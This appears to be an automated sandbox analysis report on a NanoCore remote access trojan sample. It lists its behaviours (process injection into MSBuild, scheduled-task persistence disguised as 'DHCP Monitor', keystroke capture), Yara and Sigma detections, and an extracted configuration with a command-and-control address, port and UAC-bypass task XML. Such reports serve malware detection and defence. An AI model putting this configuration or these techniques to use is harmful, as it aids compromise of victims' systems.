Play interactive tour

Edit tour

Analysis Report NAO09009009.exe

Overview

General Information

Sample Name:	NAO09009009.exe
Analysis ID:	411952
MD5:	592b395d837e34b3770d6113b213b877
SHA1:	26498da5dfa58609b38a6f0d294d35e60608cb78
SHA256:	e362816d729cd17eeca2ca5361937558f0455463bf4fba74d220163c43f46308
Tags:	NanoCore
Infos:
Most interesting Screenshot:

Detection

Nanocore

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Detected Nanocore Rat

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Sigma detected: NanoCore

Yara detected Nanocore RAT

.NET source code contains potential unpacker

C2 URLs / IPs found in malware configuration

Hides that the sample has been downloaded from the Internet (zone.identifier)

Machine Learning detection for sample

Maps a DLL or memory area into another process

Uses schtasks.exe or at.exe to add and modify task schedules

Writes to foreign memory regions

Antivirus or Machine Learning detection for unpacked file

Contains capabilities to detect virtual machines

Contains functionality for read data from the clipboard

Contains functionality to call native functions

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to read the PEB

Contains functionality to shutdown / reboot the system

Contains long sleeps (>= 3 min)

Creates a DirectInput object (often for capturing keystrokes)

Creates a process in suspended mode (likely to inject code)

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Drops PE files

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Installs a raw input device (often for capturing keystrokes)

Internet Provider seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains strange resources

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Uses 32bit PE files

Uses code obfuscation techniques (call, push, ret)

Yara signature match

Classification

Startup

System is w10x64

NAO09009009.exe (PID: 5896 cmdline: 'C:\Users\user\Desktop\NAO09009009.exe' MD5: 592B395D837E34B3770D6113B213B877)

MSBuild.exe (PID: 1240 cmdline: 'C:\Users\user\Desktop\NAO09009009.exe' MD5: 88BBB7610152B48C2B3879473B17857E)

schtasks.exe (PID: 5404 cmdline: 'schtasks.exe' /create /f /tn 'DHCP Monitor' /xml 'C:\Users\user\AppData\Local\Temp\tmpD89D.tmp' MD5: 15FF7D8324231381BAD48A052F85DF04)

conhost.exe (PID: 968 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

conhost.exe (PID: 772 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

schtasks.exe (PID: 1264 cmdline: 'schtasks.exe' /create /f /tn 'DHCP Monitor Task' /xml 'C:\Users\user\AppData\Local\Temp\tmpDC18.tmp' MD5: 15FF7D8324231381BAD48A052F85DF04)

conhost.exe (PID: 3732 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

MSBuild.exe (PID: 5888 cmdline: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe 0 MD5: 88BBB7610152B48C2B3879473B17857E)

conhost.exe (PID: 4900 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

dhcpmon.exe (PID: 6076 cmdline: 'C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe' 0 MD5: 88BBB7610152B48C2B3879473B17857E)

conhost.exe (PID: 5312 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

dhcpmon.exe (PID: 5404 cmdline: 'C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe' MD5: 88BBB7610152B48C2B3879473B17857E)

cleanup

Malware Configuration

Threatname: NanoCore

{"Version": "1.2.2.0", "Mutex": "2dd052c5-2546-4017-851f-7f690b3c", "Group": "Default", "Domain1": "185.222.57.171", "Domain2": "", "Port": 4445, "RunOnStartup": "Enable", "RequestElevation": "Enable", "BypassUAC": "Enable", "ClearZoneIdentifier": "Enable", "ClearAccessControl": "Disable", "SetCriticalProcess": "Disable", "PreventSystemSleep": "Enable", "ActivateAwayMode": "Disable", "EnableDebugMode": "Disable", "RunDelay": 0, "ConnectDelay": 4000, "RestartDelay": 5000, "TimeoutInterval": 5000, "KeepAliveTimeout": 30000, "MutexTimeout": 5000, "LanTimeout": 2500, "WanTimeout": 8000, "BufferSize": "ffff0000", "MaxPacketSize": "0000a000", "GCThreshold": "0000a000", "UseCustomDNS": "Enable", "PrimaryDNSServer": "8.8.8.8", "BackupDNSServer": "8.8.4.4", "BypassUserAccountControlData": "<?xml version=\"1.0\" encoding=\"UTF-16\"?>\r\n<Task version=\"1.2\" xmlns=\"http://schemas.microsoft.com/windows/2004/02/mit/task\">\r\n  <RegistrationInfo />\r\n  <Triggers />\r\n  <Principals>\r\n    <Principal id=\"Author\">\r\n      <LogonType>InteractiveToken</LogonType>\r\n      <RunLevel>HighestAvailable</RunLevel>\r\n    </Principal>\r\n  </Principals>\r\n  <Settings>\r\n    <MultipleInstancesPolicy>Parallel</MultipleInstancesPolicy>\r\n    <DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries>\r\n    <StopIfGoingOnBatteries>false</StopIfGoingOnBatteries>\r\n    <AllowHardTerminate>true</AllowHardTerminate>\r\n    <StartWhenAvailable>false</StartWhenAvailable>\r\n    <RunOnlyIfNetworkAvailable>false</RunOnlyIfNetworkAvailable>\r\n    <IdleSettings>\r\n      <StopOnIdleEnd>false</StopOnIdleEnd>\r\n      <RestartOnIdle>false</RestartOnIdle>\r\n    </IdleSettings>\r\n    <AllowStartOnDemand>true</AllowStartOnDemand>\r\n    <Enabled>true</Enabled>\r\n    <Hidden>false</Hidden>\r\n    <RunOnlyIfIdle>false</RunOnlyIfIdle>\r\n    <WakeToRun>false</WakeToRun>\r\n    <ExecutionTimeLimit>PT0S</ExecutionTimeLimit>\r\n    <Priority>4</Priority>\r\n  </Settings>\r\n  <Actions Context=\"Author\">\r\n    <Exec>\r\n      <Command>\"#EXECUTABLEPATH\"</Command>\r\n      <Arguments>$(Arg0)</Arguments>\r\n    </Exec>\r\n  </Actions>\r\n</Task"}

Yara Overview

Memory Dumps

Source	Rule	Description	Author	Strings
00000002.00000002.484138546.0000000005490000.00000004.00000001.sdmp	Nanocore_RAT_Gen_2	Detetcs the Nanocore RAT	Florian Roth	0xe75:$x1: NanoCore.ClientPluginHost 0xe8f:$x2: IClientNetworkHost
00000002.00000002.484138546.0000000005490000.00000004.00000001.sdmp	Nanocore_RAT_Feb18_1	Detects Nanocore RAT	Florian Roth	0xe75:$x2: NanoCore.ClientPluginHost 0x1261:$s3: PipeExists 0x1136:$s4: PipeCreated 0xeb0:$s5: IClientLoggingHost
00000002.00000002.484247616.0000000005720000.00000004.00000001.sdmp	Nanocore_RAT_Gen_2	Detetcs the Nanocore RAT	Florian Roth	0xf7ad:$x1: NanoCore.ClientPluginHost 0xf7da:$x2: IClientNetworkHost
00000002.00000002.484247616.0000000005720000.00000004.00000001.sdmp	Nanocore_RAT_Feb18_1	Detects Nanocore RAT	Florian Roth	0xf7ad:$x2: NanoCore.ClientPluginHost 0x10888:$s4: PipeCreated 0xf7c7:$s5: IClientLoggingHost
00000002.00000002.484247616.0000000005720000.00000004.00000001.sdmp	JoeSecurity_Nanocore	Yara detected Nanocore RAT	Joe Security
00000002.00000002.475482671.0000000000402000.00000040.00000001.sdmp	Nanocore_RAT_Gen_2	Detetcs the Nanocore RAT	Florian Roth	0xff8d:$x1: NanoCore.ClientPluginHost 0xffca:$x2: IClientNetworkHost 0x13afd:$x3: #=qjgz7ljmpp0J7FvL9dmi8ctJILdgtcbw8JYUc6GC8MeJ9B11Crfg2Djxcf0p8PZGe
00000002.00000002.475482671.0000000000402000.00000040.00000001.sdmp	JoeSecurity_Nanocore	Yara detected Nanocore RAT	Joe Security
00000002.00000002.475482671.0000000000402000.00000040.00000001.sdmp	NanoCore	unknown	Kevin Breen <kevin@techanarchy.net>	0xfcf5:$a: NanoCore 0xfd05:$a: NanoCore 0xff39:$a: NanoCore 0xff4d:$a: NanoCore 0xff8d:$a: NanoCore 0xfd54:$b: ClientPlugin 0xff56:$b: ClientPlugin 0xff96:$b: ClientPlugin 0xfe7b:$c: ProjectData 0x10882:$d: DESCrypto 0x1824e:$e: KeepAlive 0x1623c:$g: LogClientMessage 0x12437:$i: get_Connected 0x10bb8:$j: #=q 0x10be8:$j: #=q 0x10c04:$j: #=q 0x10c34:$j: #=q 0x10c50:$j: #=q 0x10c6c:$j: #=q 0x10c9c:$j: #=q 0x10cb8:$j: #=q
00000000.00000002.219500091.0000000000B50000.00000004.00000001.sdmp	Nanocore_RAT_Gen_2	Detetcs the Nanocore RAT	Florian Roth	0x1018d:$x1: NanoCore.ClientPluginHost 0x101ca:$x2: IClientNetworkHost 0x13cfd:$x3: #=qjgz7ljmpp0J7FvL9dmi8ctJILdgtcbw8JYUc6GC8MeJ9B11Crfg2Djxcf0p8PZGe
00000000.00000002.219500091.0000000000B50000.00000004.00000001.sdmp	Nanocore_RAT_Feb18_1	Detects Nanocore RAT	Florian Roth	0xff05:$x1: NanoCore Client.exe 0x1018d:$x2: NanoCore.ClientPluginHost 0x117c6:$s1: PluginCommand 0x117ba:$s2: FileCommand 0x1266b:$s3: PipeExists 0x18422:$s4: PipeCreated 0x101b7:$s5: IClientLoggingHost
00000000.00000002.219500091.0000000000B50000.00000004.00000001.sdmp	JoeSecurity_Nanocore	Yara detected Nanocore RAT	Joe Security
00000000.00000002.219500091.0000000000B50000.00000004.00000001.sdmp	NanoCore	unknown	Kevin Breen <kevin@techanarchy.net>	0xfef5:$a: NanoCore 0xff05:$a: NanoCore 0x10139:$a: NanoCore 0x1014d:$a: NanoCore 0x1018d:$a: NanoCore 0xff54:$b: ClientPlugin 0x10156:$b: ClientPlugin 0x10196:$b: ClientPlugin 0x1007b:$c: ProjectData 0x10a82:$d: DESCrypto 0x1844e:$e: KeepAlive 0x1643c:$g: LogClientMessage 0x12637:$i: get_Connected 0x10db8:$j: #=q 0x10de8:$j: #=q 0x10e04:$j: #=q 0x10e34:$j: #=q 0x10e50:$j: #=q 0x10e6c:$j: #=q 0x10e9c:$j: #=q 0x10eb8:$j: #=q
00000002.00000002.482810571.0000000003BF7000.00000004.00000001.sdmp	JoeSecurity_Nanocore	Yara detected Nanocore RAT	Joe Security
00000002.00000002.482810571.0000000003BF7000.00000004.00000001.sdmp	NanoCore	unknown	Kevin Breen <kevin@techanarchy.net>	0x3a3d:$a: NanoCore 0x3a96:$a: NanoCore 0x3ad3:$a: NanoCore 0x3b4c:$a: NanoCore 0x171f7:$a: NanoCore 0x1720c:$a: NanoCore 0x17241:$a: NanoCore 0x301bb:$a: NanoCore 0x301d0:$a: NanoCore 0x30205:$a: NanoCore 0x3a9f:$b: ClientPlugin 0x3adc:$b: ClientPlugin 0x43da:$b: ClientPlugin 0x43e7:$b: ClientPlugin 0x16fb3:$b: ClientPlugin 0x16fce:$b: ClientPlugin 0x16ffe:$b: ClientPlugin 0x17215:$b: ClientPlugin 0x1724a:$b: ClientPlugin 0x2ff77:$b: ClientPlugin 0x2ff92:$b: ClientPlugin
Process Memory Space: NAO09009009.exe PID: 5896	Nanocore_RAT_Gen_2	Detetcs the Nanocore RAT	Florian Roth	0x118279:$x1: NanoCore.ClientPluginHost 0x1182da:$x2: IClientNetworkHost 0x11d6df:$x3: #=qjgz7ljmpp0J7FvL9dmi8ctJILdgtcbw8JYUc6GC8MeJ9B11Crfg2Djxcf0p8PZGe 0x12b651:$x3: #=qjgz7ljmpp0J7FvL9dmi8ctJILdgtcbw8JYUc6GC8MeJ9B11Crfg2Djxcf0p8PZGe
Process Memory Space: NAO09009009.exe PID: 5896	JoeSecurity_Nanocore	Yara detected Nanocore RAT	Joe Security
Process Memory Space: NAO09009009.exe PID: 5896	NanoCore	unknown	Kevin Breen <kevin@techanarchy.net>	0x117d7e:$a: NanoCore 0x117d9a:$a: NanoCore 0x117ef5:$a: NanoCore 0x117f04:$a: NanoCore 0x1181dd:$a: NanoCore 0x118209:$a: NanoCore 0x118279:$a: NanoCore 0x127cbb:$a: NanoCore 0x127ccd:$a: NanoCore 0x127d09:$a: NanoCore 0x117e25:$b: ClientPlugin 0x117f4e:$b: ClientPlugin 0x118212:$b: ClientPlugin 0x118282:$b: ClientPlugin 0x127cd6:$b: ClientPlugin 0x127d12:$b: ClientPlugin 0x11809b:$c: ProjectData 0x127c08:$c: ProjectData 0x1191d7:$d: DESCrypto 0x128566:$d: DESCrypto 0x123564:$e: KeepAlive
Process Memory Space: MSBuild.exe PID: 1240	Nanocore_RAT_Gen_2	Detetcs the Nanocore RAT	Florian Roth	0x1bb1c:$x1: NanoCore.ClientPluginHost 0x7e031:$x1: NanoCore.ClientPluginHost 0xa8445:$x1: NanoCore.ClientPluginHost 0x11984d:$x1: NanoCore.ClientPluginHost 0x39aa61:$x1: NanoCore.ClientPluginHost 0x3a0620:$x1: NanoCore.ClientPluginHost 0x3b198d:$x1: NanoCore.ClientPluginHost 0x1bb42:$x2: IClientNetworkHost 0x7e076:$x2: IClientNetworkHost 0xa846b:$x2: IClientNetworkHost 0x1198ae:$x2: IClientNetworkHost 0x39aa87:$x2: IClientNetworkHost 0x3a0665:$x2: IClientNetworkHost 0x3b19d2:$x2: IClientNetworkHost 0x11ecb3:$x3: #=qjgz7ljmpp0J7FvL9dmi8ctJILdgtcbw8JYUc6GC8MeJ9B11Crfg2Djxcf0p8PZGe 0x12cc25:$x3: #=qjgz7ljmpp0J7FvL9dmi8ctJILdgtcbw8JYUc6GC8MeJ9B11Crfg2Djxcf0p8PZGe
Process Memory Space: MSBuild.exe PID: 1240	JoeSecurity_Nanocore	Yara detected Nanocore RAT	Joe Security
Process Memory Space: MSBuild.exe PID: 1240	NanoCore	unknown	Kevin Breen <kevin@techanarchy.net>	0x1ba0e:$a: NanoCore 0x1baaf:$a: NanoCore 0x1bb1c:$a: NanoCore 0x1bbdd:$a: NanoCore 0x1caae:$a: NanoCore 0x1cb01:$a: NanoCore 0x1cb3a:$a: NanoCore 0x1cbad:$a: NanoCore 0x7dfab:$a: NanoCore 0x7dfd8:$a: NanoCore 0x7e031:$a: NanoCore 0x85840:$a: NanoCore 0x85853:$a: NanoCore 0x85885:$a: NanoCore 0xa8337:$a: NanoCore 0xa83d8:$a: NanoCore 0xa8445:$a: NanoCore 0xa8506:$a: NanoCore 0xa93d7:$a: NanoCore 0xa942a:$a: NanoCore 0xa9463:$a: NanoCore
Click to see the 15 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
2.2.MSBuild.exe.3bf9c5e.4.raw.unpack	Nanocore_RAT_Gen_2	Detetcs the Nanocore RAT	Florian Roth	0xe75:$x1: NanoCore.ClientPluginHost 0x145e3:$x1: NanoCore.ClientPluginHost 0x2d5a7:$x1: NanoCore.ClientPluginHost 0xe8f:$x2: IClientNetworkHost 0x14610:$x2: IClientNetworkHost 0x2d5d4:$x2: IClientNetworkHost
2.2.MSBuild.exe.3bf9c5e.4.raw.unpack	Nanocore_RAT_Feb18_1	Detects Nanocore RAT	Florian Roth	0xe75:$x2: NanoCore.ClientPluginHost 0x145e3:$x2: NanoCore.ClientPluginHost 0x2d5a7:$x2: NanoCore.ClientPluginHost 0x1261:$s3: PipeExists 0x1136:$s4: PipeCreated 0x156be:$s4: PipeCreated 0x2e682:$s4: PipeCreated 0xeb0:$s5: IClientLoggingHost 0x145fd:$s5: IClientLoggingHost 0x2d5c1:$s5: IClientLoggingHost
2.2.MSBuild.exe.3bf9c5e.4.raw.unpack	JoeSecurity_Nanocore	Yara detected Nanocore RAT	Joe Security
2.2.MSBuild.exe.3bf9c5e.4.raw.unpack	NanoCore	unknown	Kevin Breen <kevin@techanarchy.net>	0xddf:$a: NanoCore 0xe38:$a: NanoCore 0xe75:$a: NanoCore 0xeee:$a: NanoCore 0x14599:$a: NanoCore 0x145ae:$a: NanoCore 0x145e3:$a: NanoCore 0x2d55d:$a: NanoCore 0x2d572:$a: NanoCore 0x2d5a7:$a: NanoCore 0xe41:$b: ClientPlugin 0xe7e:$b: ClientPlugin 0x177c:$b: ClientPlugin 0x1789:$b: ClientPlugin 0x14355:$b: ClientPlugin 0x14370:$b: ClientPlugin 0x143a0:$b: ClientPlugin 0x145b7:$b: ClientPlugin 0x145ec:$b: ClientPlugin 0x2d319:$b: ClientPlugin 0x2d334:$b: ClientPlugin
2.2.MSBuild.exe.3bfea94.5.unpack	Nanocore_RAT_Gen_2	Detetcs the Nanocore RAT	Florian Roth	0xd9ad:$x1: NanoCore.ClientPluginHost 0xd9da:$x2: IClientNetworkHost
2.2.MSBuild.exe.3bfea94.5.unpack	Nanocore_RAT_Feb18_1	Detects Nanocore RAT	Florian Roth	0xd9ad:$x2: NanoCore.ClientPluginHost 0xea88:$s4: PipeCreated 0xd9c7:$s5: IClientLoggingHost
2.2.MSBuild.exe.3bfea94.5.unpack	JoeSecurity_Nanocore	Yara detected Nanocore RAT	Joe Security
0.2.NAO09009009.exe.b50000.3.raw.unpack	Nanocore_RAT_Gen_2	Detetcs the Nanocore RAT	Florian Roth	0x1018d:$x1: NanoCore.ClientPluginHost 0x101ca:$x2: IClientNetworkHost 0x13cfd:$x3: #=qjgz7ljmpp0J7FvL9dmi8ctJILdgtcbw8JYUc6GC8MeJ9B11Crfg2Djxcf0p8PZGe
0.2.NAO09009009.exe.b50000.3.raw.unpack	Nanocore_RAT_Feb18_1	Detects Nanocore RAT	Florian Roth	0xff05:$x1: NanoCore Client.exe 0x1018d:$x2: NanoCore.ClientPluginHost 0x117c6:$s1: PluginCommand 0x117ba:$s2: FileCommand 0x1266b:$s3: PipeExists 0x18422:$s4: PipeCreated 0x101b7:$s5: IClientLoggingHost
0.2.NAO09009009.exe.b50000.3.raw.unpack	JoeSecurity_Nanocore	Yara detected Nanocore RAT	Joe Security
0.2.NAO09009009.exe.b50000.3.raw.unpack	NanoCore	unknown	Kevin Breen <kevin@techanarchy.net>	0xfef5:$a: NanoCore 0xff05:$a: NanoCore 0x10139:$a: NanoCore 0x1014d:$a: NanoCore 0x1018d:$a: NanoCore 0xff54:$b: ClientPlugin 0x10156:$b: ClientPlugin 0x10196:$b: ClientPlugin 0x1007b:$c: ProjectData 0x10a82:$d: DESCrypto 0x1844e:$e: KeepAlive 0x1643c:$g: LogClientMessage 0x12637:$i: get_Connected 0x10db8:$j: #=q 0x10de8:$j: #=q 0x10e04:$j: #=q 0x10e34:$j: #=q 0x10e50:$j: #=q 0x10e6c:$j: #=q 0x10e9c:$j: #=q 0x10eb8:$j: #=q
2.2.MSBuild.exe.2bc1718.2.raw.unpack	Nanocore_RAT_Gen_2	Detetcs the Nanocore RAT	Florian Roth	0xe75:$x1: NanoCore.ClientPluginHost 0xe8f:$x2: IClientNetworkHost
2.2.MSBuild.exe.2bc1718.2.raw.unpack	Nanocore_RAT_Feb18_1	Detects Nanocore RAT	Florian Roth	0xe75:$x2: NanoCore.ClientPluginHost 0x1261:$s3: PipeExists 0x1136:$s4: PipeCreated 0xeb0:$s5: IClientLoggingHost
2.2.MSBuild.exe.3c030bd.3.raw.unpack	Nanocore_RAT_Gen_2	Detetcs the Nanocore RAT	Florian Roth	0xb184:$x1: NanoCore.ClientPluginHost 0x24148:$x1: NanoCore.ClientPluginHost 0xb1b1:$x2: IClientNetworkHost 0x24175:$x2: IClientNetworkHost
2.2.MSBuild.exe.3c030bd.3.raw.unpack	Nanocore_RAT_Feb18_1	Detects Nanocore RAT	Florian Roth	0xb184:$x2: NanoCore.ClientPluginHost 0x24148:$x2: NanoCore.ClientPluginHost 0xc25f:$s4: PipeCreated 0x25223:$s4: PipeCreated 0xb19e:$s5: IClientLoggingHost 0x24162:$s5: IClientLoggingHost
2.2.MSBuild.exe.3c030bd.3.raw.unpack	JoeSecurity_Nanocore	Yara detected Nanocore RAT	Joe Security
2.2.MSBuild.exe.5724629.9.raw.unpack	Nanocore_RAT_Gen_2	Detetcs the Nanocore RAT	Florian Roth	0xb184:$x1: NanoCore.ClientPluginHost 0xb1b1:$x2: IClientNetworkHost
2.2.MSBuild.exe.5724629.9.raw.unpack	Nanocore_RAT_Feb18_1	Detects Nanocore RAT	Florian Roth	0xb184:$x2: NanoCore.ClientPluginHost 0xc25f:$s4: PipeCreated 0xb19e:$s5: IClientLoggingHost
2.2.MSBuild.exe.5724629.9.raw.unpack	JoeSecurity_Nanocore	Yara detected Nanocore RAT	Joe Security
2.2.MSBuild.exe.5720000.8.unpack	Nanocore_RAT_Gen_2	Detetcs the Nanocore RAT	Florian Roth	0xd9ad:$x1: NanoCore.ClientPluginHost 0xd9da:$x2: IClientNetworkHost
2.2.MSBuild.exe.5720000.8.unpack	Nanocore_RAT_Feb18_1	Detects Nanocore RAT	Florian Roth	0xd9ad:$x2: NanoCore.ClientPluginHost 0xea88:$s4: PipeCreated 0xd9c7:$s5: IClientLoggingHost
2.2.MSBuild.exe.5720000.8.unpack	JoeSecurity_Nanocore	Yara detected Nanocore RAT	Joe Security
2.2.MSBuild.exe.5720000.8.raw.unpack	Nanocore_RAT_Gen_2	Detetcs the Nanocore RAT	Florian Roth	0xf7ad:$x1: NanoCore.ClientPluginHost 0xf7da:$x2: IClientNetworkHost
2.2.MSBuild.exe.5720000.8.raw.unpack	Nanocore_RAT_Feb18_1	Detects Nanocore RAT	Florian Roth	0xf7ad:$x2: NanoCore.ClientPluginHost 0x10888:$s4: PipeCreated 0xf7c7:$s5: IClientLoggingHost
2.2.MSBuild.exe.5720000.8.raw.unpack	JoeSecurity_Nanocore	Yara detected Nanocore RAT	Joe Security
2.2.MSBuild.exe.5490000.7.raw.unpack	Nanocore_RAT_Gen_2	Detetcs the Nanocore RAT	Florian Roth	0xe75:$x1: NanoCore.ClientPluginHost 0xe8f:$x2: IClientNetworkHost
2.2.MSBuild.exe.5490000.7.raw.unpack	Nanocore_RAT_Feb18_1	Detects Nanocore RAT	Florian Roth	0xe75:$x2: NanoCore.ClientPluginHost 0x1261:$s3: PipeExists 0x1136:$s4: PipeCreated 0xeb0:$s5: IClientLoggingHost
2.2.MSBuild.exe.400000.0.unpack	Nanocore_RAT_Gen_2	Detetcs the Nanocore RAT	Florian Roth	0x1018d:$x1: NanoCore.ClientPluginHost 0x101ca:$x2: IClientNetworkHost 0x13cfd:$x3: #=qjgz7ljmpp0J7FvL9dmi8ctJILdgtcbw8JYUc6GC8MeJ9B11Crfg2Djxcf0p8PZGe
2.2.MSBuild.exe.400000.0.unpack	Nanocore_RAT_Feb18_1	Detects Nanocore RAT	Florian Roth	0xff05:$x1: NanoCore Client.exe 0x1018d:$x2: NanoCore.ClientPluginHost 0x117c6:$s1: PluginCommand 0x117ba:$s2: FileCommand 0x1266b:$s3: PipeExists 0x18422:$s4: PipeCreated 0x101b7:$s5: IClientLoggingHost
2.2.MSBuild.exe.400000.0.unpack	JoeSecurity_Nanocore	Yara detected Nanocore RAT	Joe Security
2.2.MSBuild.exe.400000.0.unpack	NanoCore	unknown	Kevin Breen <kevin@techanarchy.net>	0xfef5:$a: NanoCore 0xff05:$a: NanoCore 0x10139:$a: NanoCore 0x1014d:$a: NanoCore 0x1018d:$a: NanoCore 0xff54:$b: ClientPlugin 0x10156:$b: ClientPlugin 0x10196:$b: ClientPlugin 0x1007b:$c: ProjectData 0x10a82:$d: DESCrypto 0x1844e:$e: KeepAlive 0x1643c:$g: LogClientMessage 0x12637:$i: get_Connected 0x10db8:$j: #=q 0x10de8:$j: #=q 0x10e04:$j: #=q 0x10e34:$j: #=q 0x10e50:$j: #=q 0x10e6c:$j: #=q 0x10e9c:$j: #=q 0x10eb8:$j: #=q
0.2.NAO09009009.exe.b50000.3.unpack	Nanocore_RAT_Gen_2	Detetcs the Nanocore RAT	Florian Roth	0xe38d:$x1: NanoCore.ClientPluginHost 0xe3ca:$x2: IClientNetworkHost 0x11efd:$x3: #=qjgz7ljmpp0J7FvL9dmi8ctJILdgtcbw8JYUc6GC8MeJ9B11Crfg2Djxcf0p8PZGe
0.2.NAO09009009.exe.b50000.3.unpack	Nanocore_RAT_Feb18_1	Detects Nanocore RAT	Florian Roth	0xe105:$x1: NanoCore Client.exe 0xe38d:$x2: NanoCore.ClientPluginHost 0xf9c6:$s1: PluginCommand 0xf9ba:$s2: FileCommand 0x1086b:$s3: PipeExists 0x16622:$s4: PipeCreated 0xe3b7:$s5: IClientLoggingHost
0.2.NAO09009009.exe.b50000.3.unpack	JoeSecurity_Nanocore	Yara detected Nanocore RAT	Joe Security
0.2.NAO09009009.exe.b50000.3.unpack	NanoCore	unknown	Kevin Breen <kevin@techanarchy.net>	0xe0f5:$a: NanoCore 0xe105:$a: NanoCore 0xe339:$a: NanoCore 0xe34d:$a: NanoCore 0xe38d:$a: NanoCore 0xe154:$b: ClientPlugin 0xe356:$b: ClientPlugin 0xe396:$b: ClientPlugin 0xe27b:$c: ProjectData 0xec82:$d: DESCrypto 0x1664e:$e: KeepAlive 0x1463c:$g: LogClientMessage 0x10837:$i: get_Connected 0xefb8:$j: #=q 0xefe8:$j: #=q 0xf004:$j: #=q 0xf034:$j: #=q 0xf050:$j: #=q 0xf06c:$j: #=q 0xf09c:$j: #=q 0xf0b8:$j: #=q
2.2.MSBuild.exe.3bfea94.5.raw.unpack	Nanocore_RAT_Gen_2	Detetcs the Nanocore RAT	Florian Roth	0xf7ad:$x1: NanoCore.ClientPluginHost 0x28771:$x1: NanoCore.ClientPluginHost 0xf7da:$x2: IClientNetworkHost 0x2879e:$x2: IClientNetworkHost
2.2.MSBuild.exe.3bfea94.5.raw.unpack	Nanocore_RAT_Feb18_1	Detects Nanocore RAT	Florian Roth	0xf7ad:$x2: NanoCore.ClientPluginHost 0x28771:$x2: NanoCore.ClientPluginHost 0x10888:$s4: PipeCreated 0x2984c:$s4: PipeCreated 0xf7c7:$s5: IClientLoggingHost 0x2878b:$s5: IClientLoggingHost
2.2.MSBuild.exe.3bfea94.5.raw.unpack	JoeSecurity_Nanocore	Yara detected Nanocore RAT	Joe Security
Click to see the 33 entries

Sigma Overview

AV Detection:

Sigma detected: NanoCore

Show sources

Source: File created

Author: Joe Security: Data: EventID: 11, Image: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe, ProcessId: 1240, TargetFilename: C:\Users\user\AppData\Roaming\D06ED635-68F6-4E9A-955C-4899F5F57B9A\run.dat

E-Banking Fraud:

Sigma detected: NanoCore

Show sources

Source: File created

Stealing of Sensitive Information:

Sigma detected: NanoCore

Show sources

Source: File created

Remote Access Functionality:

Sigma detected: NanoCore

Show sources

Source: File created

Signature Overview

Click to jump to signature section

Show All Signature Results

AV Detection:

Found malware configuration

Show sources

Source: 00000002.00000002.482810571.0000000003BF7000.00000004.00000001.sdmp

Malware Configuration Extractor: NanoCore {"Version": "1.2.2.0", "Mutex": "2dd052c5-2546-4017-851f-7f690b3c", "Group": "Default", "Domain1": "185.222.57.171", "Domain2": "", "Port": 4445, "RunOnStartup": "Enable", "RequestElevation": "Enable", "BypassUAC": "Enable", "ClearZoneIdentifier": "Enable", "ClearAccessControl": "Disable", "SetCriticalProcess": "Disable", "PreventSystemSleep": "Enable", "ActivateAwayMode": "Disable", "EnableDebugMode": "Disable", "RunDelay": 0, "ConnectDelay": 4000, "RestartDelay": 5000, "TimeoutInterval": 5000, "KeepAliveTimeout": 30000, "MutexTimeout": 5000, "LanTimeout": 2500, "WanTimeout": 8000, "BufferSize": "ffff0000", "MaxPacketSize": "0000a000", "GCThreshold": "0000a000", "UseCustomDNS": "Enable", "PrimaryDNSServer": "8.8.8.8", "BackupDNSServer": "8.8.4.4", "BypassUserAccountControlData": "<?xml version=\"1.0\" encoding=\"UTF-16\"?>\r\n<Task version=\"1.2\" xmlns=\"http://schemas.microsoft.com/windows/2004/02/mit/task\">\r\n <RegistrationInfo />\r\n <Triggers />\r\n <Principals>\r\n <Principal id=\"Author\">\r\n <LogonType>InteractiveToken</LogonType>\r\n <RunLevel>HighestAvailable</RunLevel>\r\n </Principal>\r\n </Principals>\r\n <Settings>\r\n <MultipleInstancesPolicy>Parallel</MultipleInstancesPolicy>\r\n <DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries>\r\n <StopIfGoingOnBatteries>false</StopIfGoingOnBatteries>\r\n <AllowHardTerminate>true</AllowHardTerminate>\r\n <StartWhenAvailable>false</StartWhenAvailable>\r\n <RunOnlyIfNetworkAvailable>false</RunOnlyIfNetworkAvailable>\r\n <IdleSettings>\r\n <StopOnIdleEnd>false</StopOnIdleEnd>\r\n <RestartOnIdle>false</RestartOnIdle>\r\n </IdleSettings>\r\n <AllowStartOnDemand>true</AllowStartOnDemand>\r\n <Enabled>true</Enabled>\r\n <Hidden>false</Hidden>\r\n <RunOnlyIfIdle>false</RunOnlyIfIdle>\r\n <WakeToRun>false</WakeToRun>\r\n <ExecutionTimeLimit>PT0S</ExecutionTimeLimit>\r\n <Priority>4</Priority>\r\n </Settings>\r\n <Actions Context=\"Author\">\r\n <Exec>\r\n <Command>\"#EXECUTABLEPATH\"</Command>\r\n <Arguments>$(Arg0)</Arguments>\r\n </Exec>\r\n </Actions>\r\n</Task"}

Multi AV Scanner detection for dropped file

Show sources

Source: C:\Users\user\AppData\Local\Temp\nsoCA66.tmp\5qzt14dbsxlb2e.dll

ReversingLabs: Detection: 25%

Multi AV Scanner detection for submitted file

Show sources

Source: NAO09009009.exe	Virustotal: Detection: 33%			Perma Link
Source: NAO09009009.exe	ReversingLabs: Detection: 34%

Yara detected Nanocore RAT

